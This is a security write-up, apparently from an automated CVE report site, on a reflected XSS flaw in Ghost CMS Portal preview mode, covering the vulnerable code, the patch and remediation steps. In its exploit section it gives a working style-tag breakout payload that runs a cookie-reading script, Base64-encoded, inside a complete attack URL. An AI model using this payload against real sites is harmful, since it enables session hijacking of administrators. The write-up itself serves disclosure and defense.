CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-24778

Ghost in the Shell: Unmasking the Portal XSS (CVE-2026-24778)

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 28, 2026·6 min read·165 visits

Executive Summary (TL;DR)

The Ghost CMS 'Portal' membership interface allows configuration overrides via URL for preview purposes. Due to missing sanitization, an attacker can craft a link containing a malicious 'accent color' or 'signup terms' payload. If an admin clicks this link, the attacker's JavaScript executes, potentially stealing session cookies.

A critical Reflected Cross-Site Scripting (XSS) vulnerability exists in the 'Portal' component of Ghost CMS. By manipulating the configuration options passed via URL parameters in 'preview' mode, attackers can inject malicious JavaScript. This allows unauthenticated actors to execute code in the context of an administrator or member, leading to potential account takeover.

The Hook: A Portal to Nowhere

Ghost is the cool kid on the CMS block—fast, Node.js-based, and beloved by developers who are tired of WordPress spaghetti. One of its slickest features is the Portal: a drop-in, React-based UI that handles membership subscriptions, signups, and logins. It floats elegantly over your content, enticing readers to hand over their credit cards.

But here's the thing about modern front-end components: they love to be "configurable." To help site owners visualize changes without deploying them, the Portal includes a Preview Mode. This mode allows you to pass configuration objects—like brand colors, text content, and logos—directly via the URL.

If you've been in the security game long enough, the phrase "configuration via URL" should make the hair on the back of your neck stand up. It implies that the application is taking untrusted input from the address bar and using it to paint the screen. In the case of CVE-2026-24778, that paintbrush was loaded with high-explosive JavaScript.

The Flaw: Trust Issues

The vulnerability stems from a classic case of "Trusting the Client." The Portal component was designed to read an options parameter from the URL query string or hash fragment. This parameter is expected to be a JSON object (often Base64 encoded) containing settings like accent_color or portal_signup_terms_html.

The developers made a fatal assumption: that these values would be data, not code. Consequently, they fed these values into dangerous sinks within the React application without adequate scrubbing.

Sink #1: The HTML Injection. The property portal_signup_terms_html does exactly what it says on the tin. To render it, the code utilized React's dangerouslySetInnerHTML. I always appreciate when frameworks name their insecure functions accurately—it's like a "Warning: High Voltage" sign that developers decided to ignore.

Sink #2: The CSS Breakout. This one is more subtle and fun. The accent_color setting is used to dynamically generate a <style> block. The code took the color string and interpolated it directly into CSS syntax. It didn't check if the color was actually a hex code (e.g., #FF0000). This allowed attackers to close the style block (</style>) and open a new script tag.

The Code: Smoking Gun

Let's look at the vulnerable logic versus the fix. The patch (Commit da858e6) is a textbook example of "oops, we forgot to validate inputs."

The CSS Injection Vector:

Vulnerable Code:

// It takes the color and dumps it into a string
const styles = `:root { --brandcolor: ${this.context.brandColor} }` + NotificationStyle;
 
// Then it renders that string as raw HTML inside a style tag
return <style dangerouslySetInnerHTML={{__html: styles}} />;

If brandColor is #ff0000, it works fine. But if brandColor is #fff;}</style><script>alert(1)</script>, the browser interprets the closing style tag and executes the script. It's 2005 all over again.

The Fix:

// Now we validate that it actually LOOKS like a hex color
const validateHexColor = (color) => {
    if (!color || typeof color !== 'string') return null;
    // Strict Regex: Only hex digits allowed
    const regex = /^#([0-9A-Fa-f]{3}|[0-9A-Fa-f]{4}|[0-9A-Fa-f]{6}|[0-9A-Fa-f]{8})$/;
    return regex.test(color) ? color : null;
};

The HTML Injection Vector:

Vulnerable Code:

<div dangerouslySetInnerHTML={{__html: signupTermsHtml}} />

The Fix:

// Bring in the heavy guns: DOMPurify
import DOMPurify from 'dompurify';
 
const sanitizedHtml = DOMPurify.sanitize(signupTermsHtml, {
    ALLOWED_TAGS: ['a', 'b', 'strong', 'i', 'em', 'u', 'br', 'p'],
    ALLOWED_ATTR: ['href', 'target', 'rel']
});

By forcing the input through DOMPurify and a regex validator, they've effectively closed the window.

The Exploit: Crafting the Payload

Exploiting this requires zero authentication. We just need to trick someone into clicking a link. Let's build a Proof-of-Concept (PoC) using the CSS breakout vector, as it's cleaner than the HTML one.

Step 1: The Payload We need a JSON object that sets the accent_color to our malicious string.

{
  "accent_color": "#ffffff;}</style><script>alert(document.cookie)</script><style>"
}

Step 2: Encoding The Portal expects this to be part of the URL options. Depending on the specific version and deployment, this might be a raw query param or Base64 encoded. Let's assume Base64 for the full effect.

// Base64 encode the payload
btoa('{"accent_color": "#ffffff;}</style><script>alert(document.domain)</script><style>"')
// Output: eyJhY2NlbnRfY29sb3IiOiAiI2ZmZmZmZjt9PC9zdHlsZT48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD48c3R5bGU+In0=

Step 3: Delivery We append this to the target URL: https://target-ghost-blog.com/#/portal/preview?options=eyJhY2NlbnRfY29sb3IiOiAiI2ZmZmZmZjt9PC9zdHlsZT48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD48c3R5bGU+In0=

When the victim (an administrator) clicks this link, the Portal loads, reads the options, injects the malformed style tag, and immediately executes our JavaScript. We can now hijack their session.

The Impact: Why This Matters

You might say, "It's just XSS, big deal." But in the context of a CMS like Ghost, XSS is the gateway to the kingdom.

If an attacker targets a Ghost administrator, stealing the session cookie allows them to log in to the backend. Once inside, Ghost provides ample functionality that can be chained into Remote Code Execution (RCE). An admin can typically upload themes, modify integrations, or inject code into the site footer for persistence.

Furthermore, because the Portal handles PII (Personally Identifiable Information) of members—email addresses, subscription statuses, and potentially payment tokens—an attacker could execute a worm that scrapes the entire member database and exfiltrates it to a remote server. This is a high-impact flaw hiding in a "preview" button.

The Fix: Closing the Door

Ghost patched this in Core v5.121.0 and v6.15.0. The fix involves updating the @tryghost/portal dependency.

Because the Portal is often loaded from a CDN (static.ghost.org), many users were patched automatically when Ghost pushed the new version to their edge servers. However, if you are self-hosting the Portal component or have pinned a specific version in your build pipeline, you are still vulnerable.

Remediation Steps:

  1. Update Ghost: Run ghost update to get the latest core version.
  2. Clear Caches: If you use Cloudflare or another CDN, purge your cache to ensure the new JS bundle is served.
  3. Audit Logs: Check your access logs for requests to #/portal/preview containing suspicious, long query strings. That might be the fingerprint of an attempted exploit.

Official Patches

GhostGhost v5.121.0 Release Notes
GhostCommit fixing the vulnerability

Fix Analysis (1)

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Probability
0.04%
Top 87% most exploited

Affected Systems

Ghost CMS (Core)Ghost Portal (Standalone Component)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Ghost Core (v5)
Ghost Foundation
5.43.0 - 5.120.45.121.0
Ghost Core (v6)
Ghost Foundation
6.0.0 - 6.14.06.15.0
@tryghost/portal
Ghost Foundation
2.29.1 - 2.51.42.51.5
AttributeDetail
CWE IDCWE-79 (Cross-site Scripting)
CVSS v3.18.8 (High)
Attack VectorNetwork (Reflected)
Privileges RequiredNone
User InteractionRequired (Clicking Link)
EPSS Score0.04%
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1189Drive-by Compromise
Initial Access
T1552Unsecured Credentials
Credential Access
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Known Exploits & Detection

ResearcherExploit utilizes the accent_color URL parameter to break out of a STYLE tag.

Vulnerability Timeline

Patch committed to Ghost repository
2026-01-22
Vulnerability Published (GHSA & NVD)
2026-01-27
Ghost Advisory Released
2026-01-27

References & Sources

  • [1]GHSA-gv6q-2m97-882h: XSS in Ghost Portal
  • [2]NVD - CVE-2026-24778

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•6 minutes ago•CVE-2026-107727
3.7

CVE-2026-107727: Connection-Level Denial of Service via State Leak in Strawberry GraphQL Legacy WS Handler

An uncontrolled resource consumption vulnerability in Strawberry GraphQL allows unauthenticated remote attackers to trigger a Denial of Service on persistent WebSocket connections using the legacy graphql-ws protocol. When the server enforces max_subscriptions_per_connection, naturally terminating subscriptions are not cleared from memory registries, leading to exhaustion of connection slots.

Alon Barad
Alon Barad
0 views•6 min read
•about 1 hour ago•CVE-2026-107723
8.1

CVE-2026-107723: Silent Claim-Validator Bypass in NearForm fast-jwt via Array Payload Type Confusion

A high-severity type-confusion vulnerability exists in NearForm fast-jwt prior to version 6.3.0. The vulnerability allows attackers to bypass crucial claim validation steps (such as expiration, issuer, audience, and subject validations) by presenting a validly signed JSON Web Token structured as a JSON array instead of a JSON object. This occurs because the library's decoder fails to reject JSON arrays during type evaluation.

Alon Barad
Alon Barad
5 views•6 min read
•about 2 hours ago•CVE-2026-107721
5.9

CVE-2026-107721: Time Validation Bypass in NearForm fast-jwt due to Loose Temporal Option Validation

NearForm fast-jwt prior to version 6.3.0 is vulnerable to an input validation flaw where configuring verifier properties (such as clockTolerance, clockTimestamp, and cacheTTL) with non-finite values like Infinity or NaN allows attackers to bypass temporal claim validations, including expiration (exp) and activation (nbf) boundaries. This validation bypass can result in unauthorized session persistence and cache poisoning.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 3 hours ago•CVE-2026-107722
9.8

CVE-2026-107722: Algorithm Confusion via Non-Whitespace Prefix Bypass in fast-jwt

A critical cryptographic vulnerability in fast-jwt versions 6.2.x prior to 6.3.0 allows unauthenticated remote attackers to execute an asymmetric-to-symmetric algorithm confusion attack due to incomplete validation of leading non-whitespace prefixes.

Amit Schendel
Amit Schendel
4 views•5 min read
•about 4 hours ago•CVE-2026-107720
7.4

CVE-2026-107720: Signature Verification Bypass in NearForm fast-jwt

CVE-2026-107720 is a critical signature verification bypass vulnerability in NearForm's fast-jwt Node.js library. Under specific configurations where the token verifier is initialized with a falsy cryptographic key (such as an empty string or null) and a non-empty algorithms allowlist, the library erroneously skips signature validation. This allows unauthenticated remote attackers to submit fabricated, unsigned JSON Web Tokens and bypass the authorization boundary of the application entirely.

Amit Schendel
Amit Schendel
7 views•7 min read
•about 5 hours ago•CVE-2026-107715
6.8

CVE-2026-107715: Information Disclosure and Credential Leakage in Ruby Mechanize via Cross-Origin Redirections

Ruby Mechanize prior to version 2.14.1 contains an information disclosure vulnerability. When executing cross-origin HTTP redirects, global headers configured on the Mechanize agent (such as Authorization or Session Cookies) are dynamically re-applied to the subsequent request, bypassing the internal header-stripping logic. An attacker who controls a redirection endpoint can capture sensitive bearer tokens or cookies.

Alon Barad
Alon Barad
7 views•7 min read